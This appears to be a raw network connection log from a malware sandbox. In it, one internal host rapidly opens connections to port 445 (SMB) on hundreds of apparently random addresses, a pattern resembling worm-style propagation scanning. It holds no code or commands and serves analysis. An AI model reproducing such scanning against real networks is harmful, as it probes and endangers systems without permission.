Jul 21, 2022 04:36:40.727516890 CEST	55836	445	192.168.2.6	176.162.122.5
Jul 21, 2022 04:36:40.729960918 CEST	55838	445	192.168.2.6	54.204.8.234
Jul 21, 2022 04:36:40.757597923 CEST	55840	445	192.168.2.6	182.11.114.92
Jul 21, 2022 04:36:40.759953022 CEST	55844	445	192.168.2.6	183.247.251.113
Jul 21, 2022 04:36:40.760658979 CEST	55845	445	192.168.2.6	222.249.173.123
Jul 21, 2022 04:36:40.761820078 CEST	55847	445	192.168.2.6	63.164.87.82
Jul 21, 2022 04:36:40.762913942 CEST	55849	445	192.168.2.6	204.146.45.226
Jul 21, 2022 04:36:40.763474941 CEST	55850	445	192.168.2.6	71.38.37.24
Jul 21, 2022 04:36:40.764133930 CEST	55851	445	192.168.2.6	35.100.220.19
Jul 21, 2022 04:36:40.764695883 CEST	55852	445	192.168.2.6	34.42.155.5
Jul 21, 2022 04:36:40.790283918 CEST	55856	445	192.168.2.6	223.226.139.42
Jul 21, 2022 04:36:40.790383101 CEST	55857	445	192.168.2.6	131.90.38.111
Jul 21, 2022 04:36:40.790452957 CEST	55860	445	192.168.2.6	214.38.65.117
Jul 21, 2022 04:36:40.790455103 CEST	55859	445	192.168.2.6	119.43.68.185
Jul 21, 2022 04:36:40.809489012 CEST	55870	445	192.168.2.6	170.98.69.189
Jul 21, 2022 04:36:40.809752941 CEST	55873	445	192.168.2.6	164.223.32.101
Jul 21, 2022 04:36:40.809756994 CEST	55874	445	192.168.2.6	170.185.179.252
Jul 21, 2022 04:36:40.809910059 CEST	55875	445	192.168.2.6	116.170.55.243
Jul 21, 2022 04:36:40.882388115 CEST	55877	445	192.168.2.6	137.45.139.140
Jul 21, 2022 04:36:40.896748066 CEST	55180	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:41.162430048 CEST	55812	445	192.168.2.6	83.48.125.176
Jul 21, 2022 04:36:41.242403030 CEST	445	55812	83.48.125.176	192.168.2.6
Jul 21, 2022 04:36:41.304784060 CEST	55884	445	192.168.2.6	190.98.231.63
Jul 21, 2022 04:36:41.535013914 CEST	55888	445	192.168.2.6	207.180.242.74
Jul 21, 2022 04:36:41.681483030 CEST	55893	445	192.168.2.6	100.187.74.48
Jul 21, 2022 04:36:41.681904078 CEST	55895	445	192.168.2.6	156.32.132.215
Jul 21, 2022 04:36:41.682030916 CEST	55898	445	192.168.2.6	11.113.65.250
Jul 21, 2022 04:36:41.682190895 CEST	55901	445	192.168.2.6	213.190.95.197
Jul 21, 2022 04:36:41.726834059 CEST	55903	445	192.168.2.6	65.199.93.66
Jul 21, 2022 04:36:41.743707895 CEST	55906	445	192.168.2.6	213.218.253.186
Jul 21, 2022 04:36:41.744460106 CEST	55907	445	192.168.2.6	200.233.96.109
Jul 21, 2022 04:36:41.765386105 CEST	55912	445	192.168.2.6	4.106.116.214
Jul 21, 2022 04:36:41.765465021 CEST	55914	445	192.168.2.6	136.131.127.203
Jul 21, 2022 04:36:41.765553951 CEST	55915	445	192.168.2.6	222.129.95.26
Jul 21, 2022 04:36:41.837240934 CEST	55917	445	192.168.2.6	83.43.215.18
Jul 21, 2022 04:36:41.839030981 CEST	55919	445	192.168.2.6	9.121.22.221
Jul 21, 2022 04:36:41.892782927 CEST	55921	445	192.168.2.6	99.132.74.102
Jul 21, 2022 04:36:41.893547058 CEST	55926	445	192.168.2.6	106.128.242.94
Jul 21, 2022 04:36:41.893791914 CEST	55928	445	192.168.2.6	191.55.89.59
Jul 21, 2022 04:36:41.893793106 CEST	55925	445	192.168.2.6	10.129.223.110
Jul 21, 2022 04:36:41.893904924 CEST	55930	445	192.168.2.6	47.98.103.204
Jul 21, 2022 04:36:41.894032001 CEST	55931	445	192.168.2.6	64.77.122.144
Jul 21, 2022 04:36:41.894068003 CEST	55932	445	192.168.2.6	115.63.155.98
Jul 21, 2022 04:36:41.894233942 CEST	55933	445	192.168.2.6	122.104.149.168
Jul 21, 2022 04:36:41.935827017 CEST	55946	445	192.168.2.6	109.120.27.20
Jul 21, 2022 04:36:41.935894966 CEST	55947	445	192.168.2.6	143.131.180.131
Jul 21, 2022 04:36:41.936028004 CEST	55948	445	192.168.2.6	63.66.85.130
Jul 21, 2022 04:36:41.936145067 CEST	55950	445	192.168.2.6	97.20.161.198
Jul 21, 2022 04:36:41.936168909 CEST	55951	445	192.168.2.6	33.74.27.122
Jul 21, 2022 04:36:41.936348915 CEST	55953	445	192.168.2.6	214.8.6.142
Jul 21, 2022 04:36:41.936372042 CEST	55952	445	192.168.2.6	149.223.150.218
Jul 21, 2022 04:36:41.936494112 CEST	55955	445	192.168.2.6	108.169.83.229
Jul 21, 2022 04:36:42.007059097 CEST	55958	445	192.168.2.6	140.234.113.166
Jul 21, 2022 04:36:42.383775949 CEST	55965	445	192.168.2.6	190.98.231.64
Jul 21, 2022 04:36:42.601032019 CEST	55968	445	192.168.2.6	207.180.242.75
Jul 21, 2022 04:36:42.788460016 CEST	55971	445	192.168.2.6	176.18.132.66
Jul 21, 2022 04:36:42.789683104 CEST	55973	445	192.168.2.6	8.202.66.28
Jul 21, 2022 04:36:42.794388056 CEST	55977	445	192.168.2.6	106.110.184.40
Jul 21, 2022 04:36:42.794467926 CEST	55978	445	192.168.2.6	31.181.46.98
Jul 21, 2022 04:36:42.851994991 CEST	55985	445	192.168.2.6	113.231.137.170
Jul 21, 2022 04:36:42.878312111 CEST	55988	445	192.168.2.6	145.219.154.35
Jul 21, 2022 04:36:42.879137993 CEST	55987	445	192.168.2.6	114.231.15.85
Jul 21, 2022 04:36:42.885055065 CEST	55992	445	192.168.2.6	166.142.109.210
Jul 21, 2022 04:36:42.885215998 CEST	55995	445	192.168.2.6	148.234.246.22
Jul 21, 2022 04:36:42.885220051 CEST	55993	445	192.168.2.6	112.224.97.39
Jul 21, 2022 04:36:42.947469950 CEST	55998	445	192.168.2.6	109.228.252.116
Jul 21, 2022 04:36:42.948846102 CEST	56000	445	192.168.2.6	138.204.246.187
Jul 21, 2022 04:36:42.998801947 CEST	56013	445	192.168.2.6	125.208.106.207
Jul 21, 2022 04:36:42.998800993 CEST	56007	445	192.168.2.6	68.152.158.220
Jul 21, 2022 04:36:42.998802900 CEST	56005	445	192.168.2.6	147.107.201.6
Jul 21, 2022 04:36:42.998802900 CEST	56014	445	192.168.2.6	64.33.59.114
Jul 21, 2022 04:36:42.998838902 CEST	56011	445	192.168.2.6	8.87.103.157
Jul 21, 2022 04:36:42.998841047 CEST	56009	445	192.168.2.6	206.88.3.187
Jul 21, 2022 04:36:42.998847961 CEST	56012	445	192.168.2.6	102.145.35.175
Jul 21, 2022 04:36:42.998857975 CEST	56004	445	192.168.2.6	20.25.251.147
Jul 21, 2022 04:36:43.064758062 CEST	56027	445	192.168.2.6	178.134.71.216
Jul 21, 2022 04:36:43.083149910 CEST	56029	445	192.168.2.6	4.130.67.32
Jul 21, 2022 04:36:43.083272934 CEST	56031	445	192.168.2.6	4.188.98.170
Jul 21, 2022 04:36:43.083281994 CEST	56030	445	192.168.2.6	66.119.231.16
Jul 21, 2022 04:36:43.083311081 CEST	56032	445	192.168.2.6	161.237.170.92
Jul 21, 2022 04:36:43.083373070 CEST	56033	445	192.168.2.6	97.99.32.179
Jul 21, 2022 04:36:43.083409071 CEST	56034	445	192.168.2.6	220.36.226.178
Jul 21, 2022 04:36:43.083537102 CEST	56036	445	192.168.2.6	168.115.160.152
Jul 21, 2022 04:36:43.132231951 CEST	56039	445	192.168.2.6	165.101.215.0
Jul 21, 2022 04:36:43.364533901 CEST	56043	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:43.364588022 CEST	443	56043	20.199.120.85	192.168.2.6
Jul 21, 2022 04:36:43.364677906 CEST	56043	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:43.365856886 CEST	56043	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:43.365866899 CEST	443	56043	20.199.120.85	192.168.2.6
Jul 21, 2022 04:36:43.461612940 CEST	56045	445	192.168.2.6	190.98.231.65
Jul 21, 2022 04:36:43.465254068 CEST	443	56043	20.199.120.85	192.168.2.6
Jul 21, 2022 04:36:43.465393066 CEST	56043	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:43.468969107 CEST	56043	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:43.468987942 CEST	443	56043	20.199.120.85	192.168.2.6
Jul 21, 2022 04:36:43.469443083 CEST	443	56043	20.199.120.85	192.168.2.6
Jul 21, 2022 04:36:43.487581015 CEST	56043	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:43.487670898 CEST	56043	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:43.487684011 CEST	443	56043	20.199.120.85	192.168.2.6
Jul 21, 2022 04:36:43.487981081 CEST	56043	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:43.520859957 CEST	443	56043	20.199.120.85	192.168.2.6
Jul 21, 2022 04:36:43.520935059 CEST	443	56043	20.199.120.85	192.168.2.6
Jul 21, 2022 04:36:43.520999908 CEST	56043	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:43.521122932 CEST	56043	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:36:43.521142960 CEST	443	56043	20.199.120.85	192.168.2.6
Jul 21, 2022 04:36:43.679836035 CEST	56049	445	192.168.2.6	207.180.242.76
Jul 21, 2022 04:36:43.899439096 CEST	56055	445	192.168.2.6	105.197.95.54
Jul 21, 2022 04:36:43.900233984 CEST	56056	445	192.168.2.6	72.92.199.127
Jul 21, 2022 04:36:43.904143095 CEST	56061	445	192.168.2.6	51.210.135.133
Jul 21, 2022 04:36:43.906896114 CEST	56064	445	192.168.2.6	145.104.199.206
Jul 21, 2022 04:36:43.960541010 CEST	56068	445	192.168.2.6	201.38.61.175
Jul 21, 2022 04:36:43.977935076 CEST	56071	445	192.168.2.6	27.205.19.67
Jul 21, 2022 04:36:43.977966070 CEST	56072	445	192.168.2.6	162.181.46.183
Jul 21, 2022 04:36:44.009162903 CEST	56076	445	192.168.2.6	122.216.71.155
Jul 21, 2022 04:36:44.009239912 CEST	56079	445	192.168.2.6	67.60.84.136
Jul 21, 2022 04:36:44.009274960 CEST	56078	445	192.168.2.6	95.171.97.150
Jul 21, 2022 04:36:44.055905104 CEST	56081	445	192.168.2.6	196.106.86.246
Jul 21, 2022 04:36:44.059024096 CEST	56083	445	192.168.2.6	136.66.241.56
Jul 21, 2022 04:36:44.116791964 CEST	56085	445	192.168.2.6	30.176.222.217
Jul 21, 2022 04:36:44.118110895 CEST	56086	445	192.168.2.6	26.160.156.165
Jul 21, 2022 04:36:44.118870020 CEST	56087	445	192.168.2.6	99.178.186.1
Jul 21, 2022 04:36:44.119581938 CEST	56088	445	192.168.2.6	21.153.164.38
Jul 21, 2022 04:36:44.120248079 CEST	56089	445	192.168.2.6	177.150.221.228
Jul 21, 2022 04:36:44.121620893 CEST	56091	445	192.168.2.6	19.89.103.188
Jul 21, 2022 04:36:44.122745037 CEST	56093	445	192.168.2.6	34.45.22.85
Jul 21, 2022 04:36:44.123260975 CEST	56094	445	192.168.2.6	26.180.171.35
Jul 21, 2022 04:36:44.166977882 CEST	56100	445	192.168.2.6	151.132.195.76
Jul 21, 2022 04:36:44.198071957 CEST	56111	445	192.168.2.6	133.186.33.141
Jul 21, 2022 04:36:44.199016094 CEST	56116	445	192.168.2.6	140.88.151.145
Jul 21, 2022 04:36:44.199019909 CEST	56115	445	192.168.2.6	168.182.209.1
Jul 21, 2022 04:36:44.199127913 CEST	56117	445	192.168.2.6	71.218.124.228
Jul 21, 2022 04:36:44.199214935 CEST	56119	445	192.168.2.6	61.118.121.225
Jul 21, 2022 04:36:44.199219942 CEST	56118	445	192.168.2.6	31.161.171.191
Jul 21, 2022 04:36:44.199249983 CEST	56120	445	192.168.2.6	21.145.216.202
Jul 21, 2022 04:36:44.257328987 CEST	56122	445	192.168.2.6	50.136.113.65
Jul 21, 2022 04:36:44.539350986 CEST	56126	445	192.168.2.6	190.98.231.66
Jul 21, 2022 04:36:44.757196903 CEST	56130	445	192.168.2.6	207.180.242.77
Jul 21, 2022 04:36:44.762222052 CEST	445	56126	190.98.231.66	192.168.2.6
Jul 21, 2022 04:36:45.023562908 CEST	56137	445	192.168.2.6	10.149.213.30
Jul 21, 2022 04:36:45.024045944 CEST	56138	445	192.168.2.6	108.167.169.113
Jul 21, 2022 04:36:45.036217928 CEST	56143	445	192.168.2.6	129.180.142.160
Jul 21, 2022 04:36:45.036353111 CEST	56147	445	192.168.2.6	206.23.118.130
Jul 21, 2022 04:36:45.085879087 CEST	56150	445	192.168.2.6	203.60.165.73
Jul 21, 2022 04:36:45.102216959 CEST	56153	445	192.168.2.6	92.3.241.89
Jul 21, 2022 04:36:45.102358103 CEST	56154	445	192.168.2.6	38.139.6.142
Jul 21, 2022 04:36:45.133181095 CEST	56159	445	192.168.2.6	192.239.17.138
Jul 21, 2022 04:36:45.133908987 CEST	56160	445	192.168.2.6	159.7.204.219
Jul 21, 2022 04:36:45.134551048 CEST	56161	445	192.168.2.6	130.10.31.170
Jul 21, 2022 04:36:45.164649963 CEST	445	56138	108.167.169.113	192.168.2.6
Jul 21, 2022 04:36:45.180433989 CEST	56163	445	192.168.2.6	47.36.133.216
Jul 21, 2022 04:36:45.180612087 CEST	56166	445	192.168.2.6	62.61.40.64
Jul 21, 2022 04:36:45.227797031 CEST	56170	445	192.168.2.6	29.198.113.16
Jul 21, 2022 04:36:45.228370905 CEST	56171	445	192.168.2.6	21.43.78.143
Jul 21, 2022 04:36:45.229537010 CEST	56173	445	192.168.2.6	112.105.31.186
Jul 21, 2022 04:36:45.230575085 CEST	56175	445	192.168.2.6	109.251.236.216
Jul 21, 2022 04:36:45.231009960 CEST	56176	445	192.168.2.6	43.53.25.99
Jul 21, 2022 04:36:45.231502056 CEST	56177	445	192.168.2.6	176.93.114.148
Jul 21, 2022 04:36:45.231981993 CEST	56178	445	192.168.2.6	83.215.169.75
Jul 21, 2022 04:36:45.232522011 CEST	56179	445	192.168.2.6	58.205.147.150
Jul 21, 2022 04:36:45.272098064 CEST	56126	445	192.168.2.6	190.98.231.66
Jul 21, 2022 04:36:45.279145956 CEST	56191	445	192.168.2.6	131.204.45.105
Jul 21, 2022 04:36:45.319705009 CEST	56193	445	192.168.2.6	83.115.245.205
Jul 21, 2022 04:36:45.321600914 CEST	56197	445	192.168.2.6	153.220.8.245
Jul 21, 2022 04:36:45.322335005 CEST	56198	445	192.168.2.6	149.113.23.46
Jul 21, 2022 04:36:45.322854996 CEST	56199	445	192.168.2.6	2.40.94.61
Jul 21, 2022 04:36:45.323539019 CEST	56200	445	192.168.2.6	155.96.235.128
Jul 21, 2022 04:36:45.324084044 CEST	56201	445	192.168.2.6	30.69.97.232
Jul 21, 2022 04:36:45.324589014 CEST	56202	445	192.168.2.6	47.153.31.232
Jul 21, 2022 04:36:45.383511066 CEST	56204	445	192.168.2.6	163.240.238.114
Jul 21, 2022 04:36:45.497657061 CEST	445	56126	190.98.231.66	192.168.2.6
Jul 21, 2022 04:36:45.601257086 CEST	56208	445	192.168.2.6	190.98.231.67
Jul 21, 2022 04:36:45.678453922 CEST	56138	445	192.168.2.6	108.167.169.113
Jul 21, 2022 04:36:45.819133997 CEST	445	56138	108.167.169.113	192.168.2.6
Jul 21, 2022 04:36:45.835381031 CEST	56213	445	192.168.2.6	207.180.242.78
Jul 21, 2022 04:36:46.151757002 CEST	56220	445	192.168.2.6	43.203.73.29
Jul 21, 2022 04:36:46.163216114 CEST	56221	445	192.168.2.6	58.3.165.95
Jul 21, 2022 04:36:46.163402081 CEST	56227	445	192.168.2.6	124.86.38.86
Jul 21, 2022 04:36:46.163517952 CEST	56230	445	192.168.2.6	183.171.61.45
Jul 21, 2022 04:36:46.211975098 CEST	56234	445	192.168.2.6	1.151.62.21
Jul 21, 2022 04:36:46.213340044 CEST	56236	445	192.168.2.6	219.8.72.24
Jul 21, 2022 04:36:46.214723110 CEST	56238	445	192.168.2.6	108.231.235.11
Jul 21, 2022 04:36:46.266403913 CEST	56241	445	192.168.2.6	102.107.138.190
Jul 21, 2022 04:36:46.266593933 CEST	56243	445	192.168.2.6	73.46.32.117
Jul 21, 2022 04:36:46.266596079 CEST	56244	445	192.168.2.6	19.75.157.7
Jul 21, 2022 04:36:46.290215015 CEST	56246	445	192.168.2.6	47.194.0.101
Jul 21, 2022 04:36:46.304289103 CEST	56248	445	192.168.2.6	124.110.74.174
Jul 21, 2022 04:36:46.357234955 CEST	56253	445	192.168.2.6	28.145.170.92
Jul 21, 2022 04:36:46.358042002 CEST	56254	445	192.168.2.6	209.118.90.79
Jul 21, 2022 04:36:46.359395027 CEST	56256	445	192.168.2.6	215.82.182.74
Jul 21, 2022 04:36:46.375370979 CEST	56258	445	192.168.2.6	38.89.138.30
Jul 21, 2022 04:36:46.376559019 CEST	56259	445	192.168.2.6	158.30.67.148
Jul 21, 2022 04:36:46.376651049 CEST	56261	445	192.168.2.6	100.31.14.148
Jul 21, 2022 04:36:46.376770020 CEST	56260	445	192.168.2.6	197.171.253.178
Jul 21, 2022 04:36:46.376842022 CEST	56263	445	192.168.2.6	19.234.135.91
Jul 21, 2022 04:36:46.398360014 CEST	56264	445	192.168.2.6	204.219.193.164
Jul 21, 2022 04:36:46.445614100 CEST	56277	445	192.168.2.6	76.140.236.95
Jul 21, 2022 04:36:46.447554111 CEST	56280	445	192.168.2.6	133.148.9.130
Jul 21, 2022 04:36:46.448326111 CEST	56281	445	192.168.2.6	97.190.7.161
Jul 21, 2022 04:36:46.449058056 CEST	56282	445	192.168.2.6	104.206.26.66
Jul 21, 2022 04:36:46.449574947 CEST	56283	445	192.168.2.6	27.159.186.178
Jul 21, 2022 04:36:46.450122118 CEST	56284	445	192.168.2.6	63.41.62.50
Jul 21, 2022 04:36:46.450608969 CEST	56285	445	192.168.2.6	64.151.164.176
Jul 21, 2022 04:36:46.507407904 CEST	56287	445	192.168.2.6	131.144.117.203
Jul 21, 2022 04:36:46.664659977 CEST	56291	445	192.168.2.6	190.98.231.68
Jul 21, 2022 04:36:46.897911072 CEST	56296	445	192.168.2.6	207.180.242.79
Jul 21, 2022 04:36:47.273849964 CEST	56303	445	192.168.2.6	49.18.178.5
Jul 21, 2022 04:36:47.275732040 CEST	56305	445	192.168.2.6	14.239.38.204
Jul 21, 2022 04:36:47.280757904 CEST	56311	445	192.168.2.6	55.9.56.206
Jul 21, 2022 04:36:47.280913115 CEST	56314	445	192.168.2.6	216.248.139.209
Jul 21, 2022 04:36:47.336918116 CEST	56316	445	192.168.2.6	23.243.102.114
Jul 21, 2022 04:36:47.339900017 CEST	56320	445	192.168.2.6	137.126.9.71
Jul 21, 2022 04:36:47.341300011 CEST	56322	445	192.168.2.6	208.90.11.100
Jul 21, 2022 04:36:47.368923903 CEST	56323	445	192.168.2.6	175.21.178.163
Jul 21, 2022 04:36:47.369204998 CEST	56325	445	192.168.2.6	208.41.105.243
Jul 21, 2022 04:36:47.369276047 CEST	56326	445	192.168.2.6	196.224.246.74
Jul 21, 2022 04:36:47.414015055 CEST	56328	445	192.168.2.6	61.197.62.190
Jul 21, 2022 04:36:47.434710979 CEST	56331	445	192.168.2.6	50.124.43.128
Jul 21, 2022 04:36:47.468287945 CEST	56337	445	192.168.2.6	175.242.212.197
Jul 21, 2022 04:36:47.468395948 CEST	56336	445	192.168.2.6	216.204.244.71
Jul 21, 2022 04:36:47.468404055 CEST	56339	445	192.168.2.6	46.32.141.16
Jul 21, 2022 04:36:47.478064060 CEST	56341	445	192.168.2.6	218.71.46.93
Jul 21, 2022 04:36:47.478283882 CEST	56342	445	192.168.2.6	50.31.57.168
Jul 21, 2022 04:36:47.478312969 CEST	56343	445	192.168.2.6	150.67.168.180
Jul 21, 2022 04:36:47.478442907 CEST	56344	445	192.168.2.6	153.57.138.240
Jul 21, 2022 04:36:47.478537083 CEST	56346	445	192.168.2.6	15.91.124.250
Jul 21, 2022 04:36:47.514724970 CEST	56358	445	192.168.2.6	173.224.235.101
Jul 21, 2022 04:36:47.559813023 CEST	56361	445	192.168.2.6	152.28.185.15
Jul 21, 2022 04:36:47.560739994 CEST	56363	445	192.168.2.6	220.163.121.37
Jul 21, 2022 04:36:47.560834885 CEST	56364	445	192.168.2.6	11.123.162.90
Jul 21, 2022 04:36:47.560897112 CEST	56365	445	192.168.2.6	3.178.126.140
Jul 21, 2022 04:36:47.561007023 CEST	56367	445	192.168.2.6	80.64.174.3
Jul 21, 2022 04:36:47.561080933 CEST	56366	445	192.168.2.6	30.174.15.217
Jul 21, 2022 04:36:47.561131954 CEST	56368	445	192.168.2.6	103.117.142.8
Jul 21, 2022 04:36:47.616890907 CEST	56370	445	192.168.2.6	211.72.144.30
Jul 21, 2022 04:36:47.746226072 CEST	56373	445	192.168.2.6	190.98.231.69
Jul 21, 2022 04:36:47.960761070 CEST	56378	445	192.168.2.6	207.180.242.80
Jul 21, 2022 04:36:47.984050035 CEST	445	56378	207.180.242.80	192.168.2.6
Jul 21, 2022 04:36:48.398453951 CEST	56387	445	192.168.2.6	105.199.213.172
Jul 21, 2022 04:36:48.400388956 CEST	56390	445	192.168.2.6	221.185.157.3
Jul 21, 2022 04:36:48.403495073 CEST	56396	445	192.168.2.6	196.145.12.47
Jul 21, 2022 04:36:48.404643059 CEST	56398	445	192.168.2.6	158.122.198.249
Jul 21, 2022 04:36:48.462903023 CEST	56401	445	192.168.2.6	199.25.41.53
Jul 21, 2022 04:36:48.462960958 CEST	56404	445	192.168.2.6	63.100.240.123
Jul 21, 2022 04:36:48.463116884 CEST	56406	445	192.168.2.6	27.193.175.192
Jul 21, 2022 04:36:48.491163969 CEST	56378	445	192.168.2.6	207.180.242.80
Jul 21, 2022 04:36:48.492628098 CEST	56407	445	192.168.2.6	62.199.26.64
Jul 21, 2022 04:36:48.493994951 CEST	56409	445	192.168.2.6	171.120.148.131
Jul 21, 2022 04:36:48.495367050 CEST	56411	445	192.168.2.6	102.124.157.34
Jul 21, 2022 04:36:48.518970013 CEST	445	56378	207.180.242.80	192.168.2.6
Jul 21, 2022 04:36:48.538733006 CEST	56412	445	192.168.2.6	210.162.38.180
Jul 21, 2022 04:36:48.555624962 CEST	56415	445	192.168.2.6	37.84.178.74
Jul 21, 2022 04:36:48.587598085 CEST	56420	445	192.168.2.6	190.254.170.87
Jul 21, 2022 04:36:48.589405060 CEST	56422	445	192.168.2.6	69.241.141.14
Jul 21, 2022 04:36:48.589992046 CEST	56423	445	192.168.2.6	19.152.201.198
Jul 21, 2022 04:36:48.619015932 CEST	56425	445	192.168.2.6	191.85.181.157
Jul 21, 2022 04:36:48.619101048 CEST	56426	445	192.168.2.6	98.197.125.158
Jul 21, 2022 04:36:48.619226933 CEST	56428	445	192.168.2.6	14.197.151.157
Jul 21, 2022 04:36:48.619290113 CEST	56429	445	192.168.2.6	76.109.216.163
Jul 21, 2022 04:36:48.619370937 CEST	56430	445	192.168.2.6	103.199.66.133
Jul 21, 2022 04:36:48.658674955 CEST	56442	445	192.168.2.6	195.40.222.117
Jul 21, 2022 04:36:48.683892965 CEST	56446	445	192.168.2.6	212.19.14.95
Jul 21, 2022 04:36:48.683988094 CEST	56445	445	192.168.2.6	61.77.201.189
Jul 21, 2022 04:36:48.684103012 CEST	56447	445	192.168.2.6	198.12.122.230
Jul 21, 2022 04:36:48.684268951 CEST	56450	445	192.168.2.6	37.144.31.0
Jul 21, 2022 04:36:48.684269905 CEST	56449	445	192.168.2.6	195.98.144.90
Jul 21, 2022 04:36:48.684283018 CEST	56451	445	192.168.2.6	48.163.164.32
Jul 21, 2022 04:36:48.684387922 CEST	56452	445	192.168.2.6	117.190.47.77
Jul 21, 2022 04:36:48.741890907 CEST	56454	445	192.168.2.6	117.242.16.11
Jul 21, 2022 04:36:48.819916010 CEST	56455	445	192.168.2.6	190.98.231.70
Jul 21, 2022 04:36:49.038686037 CEST	56460	445	192.168.2.6	207.180.242.81
Jul 21, 2022 04:36:49.060211897 CEST	445	56460	207.180.242.81	192.168.2.6
Jul 21, 2022 04:36:49.508523941 CEST	56471	445	192.168.2.6	170.244.177.40
Jul 21, 2022 04:36:49.510443926 CEST	56474	445	192.168.2.6	207.64.4.32
Jul 21, 2022 04:36:49.514636040 CEST	56480	445	192.168.2.6	58.65.233.239
Jul 21, 2022 04:36:49.516043901 CEST	56482	445	192.168.2.6	33.243.5.217
Jul 21, 2022 04:36:49.569408894 CEST	56460	445	192.168.2.6	207.180.242.81
Jul 21, 2022 04:36:49.588032007 CEST	56485	445	192.168.2.6	91.165.97.235
Jul 21, 2022 04:36:49.588078022 CEST	56486	445	192.168.2.6	212.63.191.152
Jul 21, 2022 04:36:49.588185072 CEST	56489	445	192.168.2.6	43.13.177.114
Jul 21, 2022 04:36:49.590363979 CEST	445	56460	207.180.242.81	192.168.2.6
Jul 21, 2022 04:36:49.616930008 CEST	56491	445	192.168.2.6	183.40.164.7
Jul 21, 2022 04:36:49.619206905 CEST	56493	445	192.168.2.6	44.29.188.128
Jul 21, 2022 04:36:49.620198965 CEST	56495	445	192.168.2.6	114.34.47.135
Jul 21, 2022 04:36:49.664105892 CEST	56496	445	192.168.2.6	77.210.162.177
Jul 21, 2022 04:36:49.679406881 CEST	56497	445	192.168.2.6	148.160.110.134
Jul 21, 2022 04:36:49.712610960 CEST	56504	445	192.168.2.6	28.15.218.169
Jul 21, 2022 04:36:49.714127064 CEST	56506	445	192.168.2.6	153.220.41.125
Jul 21, 2022 04:36:49.715035915 CEST	56507	445	192.168.2.6	100.92.95.204
Jul 21, 2022 04:36:49.742449999 CEST	56509	445	192.168.2.6	113.190.242.202
Jul 21, 2022 04:36:49.744338036 CEST	56511	445	192.168.2.6	217.197.230.182
Jul 21, 2022 04:36:49.744432926 CEST	56512	445	192.168.2.6	134.158.202.150
Jul 21, 2022 04:36:49.744462967 CEST	56513	445	192.168.2.6	67.44.138.241
Jul 21, 2022 04:36:49.744544983 CEST	56514	445	192.168.2.6	217.149.231.11
Jul 21, 2022 04:36:49.784897089 CEST	56526	445	192.168.2.6	216.248.201.178
Jul 21, 2022 04:36:49.805772066 CEST	56530	445	192.168.2.6	178.10.240.185
Jul 21, 2022 04:36:49.806387901 CEST	56531	445	192.168.2.6	125.72.242.95
Jul 21, 2022 04:36:49.807379961 CEST	56533	445	192.168.2.6	76.41.159.21
Jul 21, 2022 04:36:49.807887077 CEST	56534	445	192.168.2.6	114.226.79.84
Jul 21, 2022 04:36:49.808459997 CEST	56535	445	192.168.2.6	213.154.48.212
Jul 21, 2022 04:36:49.809200048 CEST	56536	445	192.168.2.6	94.109.219.207
Jul 21, 2022 04:36:49.810642004 CEST	56538	445	192.168.2.6	151.52.251.115
Jul 21, 2022 04:36:49.868128061 CEST	56539	445	192.168.2.6	21.170.174.151
Jul 21, 2022 04:36:49.879709959 CEST	445	56495	114.34.47.135	192.168.2.6
Jul 21, 2022 04:36:49.883289099 CEST	56540	445	192.168.2.6	190.98.231.71
Jul 21, 2022 04:36:50.102684975 CEST	56545	445	192.168.2.6	207.180.242.82
Jul 21, 2022 04:36:50.123708963 CEST	445	56545	207.180.242.82	192.168.2.6
Jul 21, 2022 04:36:50.382010937 CEST	56495	445	192.168.2.6	114.34.47.135
Jul 21, 2022 04:36:50.506957054 CEST	55180	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:50.570465088 CEST	56555	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:36:50.601152897 CEST	445	56555	77.129.24.2	192.168.2.6
Jul 21, 2022 04:36:50.601283073 CEST	56555	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:36:50.601627111 CEST	56555	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:36:50.604984045 CEST	56557	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:36:50.631942987 CEST	56545	445	192.168.2.6	207.180.242.82
Jul 21, 2022 04:36:50.635415077 CEST	445	56557	77.129.24.2	192.168.2.6
Jul 21, 2022 04:36:50.635592937 CEST	56557	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:36:50.636357069 CEST	56559	445	192.168.2.6	30.43.54.56
Jul 21, 2022 04:36:50.636533022 CEST	56557	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:36:50.636642933 CEST	56561	445	192.168.2.6	195.17.174.246
Jul 21, 2022 04:36:50.636823893 CEST	56567	445	192.168.2.6	169.124.228.187
Jul 21, 2022 04:36:50.636868000 CEST	56569	445	192.168.2.6	9.189.26.252
Jul 21, 2022 04:36:50.643078089 CEST	445	56495	114.34.47.135	192.168.2.6
Jul 21, 2022 04:36:50.652606010 CEST	445	56545	207.180.242.82	192.168.2.6
Jul 21, 2022 04:36:50.722799063 CEST	56572	445	192.168.2.6	99.24.181.136
Jul 21, 2022 04:36:50.723206997 CEST	56575	445	192.168.2.6	199.121.23.142
Jul 21, 2022 04:36:50.723283052 CEST	56577	445	192.168.2.6	213.236.136.150
Jul 21, 2022 04:36:50.727861881 CEST	56578	445	192.168.2.6	215.28.152.15
Jul 21, 2022 04:36:50.727938890 CEST	56580	445	192.168.2.6	70.133.203.193
Jul 21, 2022 04:36:50.728022099 CEST	56582	445	192.168.2.6	168.166.3.250
Jul 21, 2022 04:36:50.790184975 CEST	56583	445	192.168.2.6	122.174.233.69
Jul 21, 2022 04:36:50.790323973 CEST	56587	445	192.168.2.6	186.214.253.61
Jul 21, 2022 04:36:50.845807076 CEST	56591	445	192.168.2.6	60.214.122.210
Jul 21, 2022 04:36:50.847928047 CEST	56594	445	192.168.2.6	192.77.247.254
Jul 21, 2022 04:36:50.847935915 CEST	56595	445	192.168.2.6	111.153.52.2
